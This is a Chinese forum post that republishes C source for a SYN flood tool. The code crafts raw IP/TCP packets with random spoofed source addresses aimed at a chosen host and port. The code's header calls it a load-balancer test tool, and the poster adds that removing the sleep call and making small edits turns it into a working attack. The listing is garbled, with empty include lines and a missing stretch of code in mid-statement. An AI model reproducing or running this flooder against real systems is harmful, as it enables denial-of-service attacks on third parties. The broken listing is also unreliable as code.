|
本帖最后由 hcw1588 于 2013-7-3 08:15 编辑
这是阿里云工程师写的
据说注释掉MySleep( sleeptime ),再修改一点别的地方,还是大有可为的。
/********************************************************************************************
* SYN Flood, Test on Red Hat Enterprise Linux AS release 3 (Taroon Update 5), gcc 3.23
* gcc -o syn_test -O3 syn_test.c
* change log:
* 2006-12-01, code by yunshu(wustyunshu@hotmail.com), thx luoluo for fixing a bug.
* 2006-12-05, yunshu fix a bug, version 1.0
* 2006-12-26, thx bocai for reporting a bug, version 1.1
* 2008-04-26 luoluo add type options to support syn_ack and fin_ack flood v1.2
* 2010-11-10 yunshu fix a little bug
* 2010-11-19 yunshu modify the sleep funtion, version 1.3.
* 2011-06-26 yunshu delete attack code, make it to be a testing tool.
*
* it used to test loadblance, you have to change some code for attacking.
*********************************************************************************************/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
typedef struct ip_hdr
{
unsigned char h_verlen;
unsigned char tos;
unsigned short total_len;
unsigned short ident;
unsigned short frag_and_flags;
unsigned char ttl;
unsigned char proto;
unsigned short checksum;
unsigned int sourceIP;
unsigned int destIP;
}IP_HEADER;
typedef struct tcp_hdr
{
unsigned short th_sport;
unsigned short th_dport;
unsigned int th_seq;
unsigned int th_ack;
unsigned char th_lenres;
unsigned char th_flag;
unsigned short th_win;
unsigned short th_sum;
unsigned short th_urp;
}TCP_HEADER;
typedef struct tsd_hdr
{
unsigned long saddr;
unsigned long daddr;
char mbz;
char ptcl;
unsigned short tcpl;
}PSD_HEADER;
#define PACKET_SIZE sizeof(IP_HEADER) + sizeof( TCP_HEADER )
char dst_ip[20] = { 0 };
int dst_port;
unsigned long long sleeptime, starttime, outcount=0;
int pkt_then_sleep = 0;
unsigned short CheckSum(unsigned short * buffer, int size)
{
unsigned long cksum = 0;
while (size > 1)
{
cksum += *buffer++;
size -= sizeof(unsigned short);
}
if (size)
{
cksum += *(unsigned char *) buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >> 16);
return (unsigned short) (~cksum);
}
void MySleep(unsigned int micro_second)
{
struct timeval t_timeval;
t_timeval.tv_sec = 0;
t_timeval.tv_usec = micro_second;
select( 0, NULL, NULL, NULL, &t_timeval );
}
void Init( char *buffer )
{
char src_ip[20] = { 0 };
int n = 0;
IP_HEADER IpHeader;
TCP_HEADER TcpHeader;
PSD_HEADER PsdHeader;
sprintf( src_ip, "%d.%d.%d.%d", rand() % 250 + 1, rand() % 250 + 1, rand() % 250 + 1, rand() % 250 + 1 );
IpHeader.h_verlen = (4 \n", argv[0]);
fprintf(stderr, "send syn packets to :, sleep microseconds per paskets\n\n");
return -1;
}
strncpy( dst_ip, argv[1], 16 );
dst_port = atoi( argv[2] );
if( inet_addr(dst_ip) == INADDR_NONE )
{
printf( "target ip error.\n" );
return -1;
}
if( dst_port 65535 )
{
printf( "port error.\n" );
return -1;
}
pkt_then_sleep = atoi(argv[3]);
if( pkt_then_sleep == 0 )
{
printf( "pkt_then_sleep error.\n" );
return -1;
}
sleeptime = atoi(argv[4]);
starttime = time(NULL);
while(time(NULL) == starttime) usleep(1000);
signal(SIGHUP,&sig_proc);
signal(SIGINT,&sig_proc);
signal(SIGQUIT,&sig_proc);
signal(SIGILL,&sig_proc);
signal(SIGABRT,&sig_proc);
signal(SIGFPE,&sig_proc);
signal(SIGSEGV,&sig_proc);
signal(SIGPIPE,&sig_proc);
signal(SIGALRM,&sig_proc);
signal(SIGTERM,&sig_proc);
signal(SIGUSR1,&sig_proc);
signal(SIGUSR2,&sig_proc);
signal(SIGCHLD,&sig_proc);
signal(SIGCONT,&sig_proc);
signal(SIGTSTP,&sig_proc);
signal(SIGTTIN,&sig_proc);
signal(SIGTTOU,&sig_proc);
Flood();
return 0;
} |
|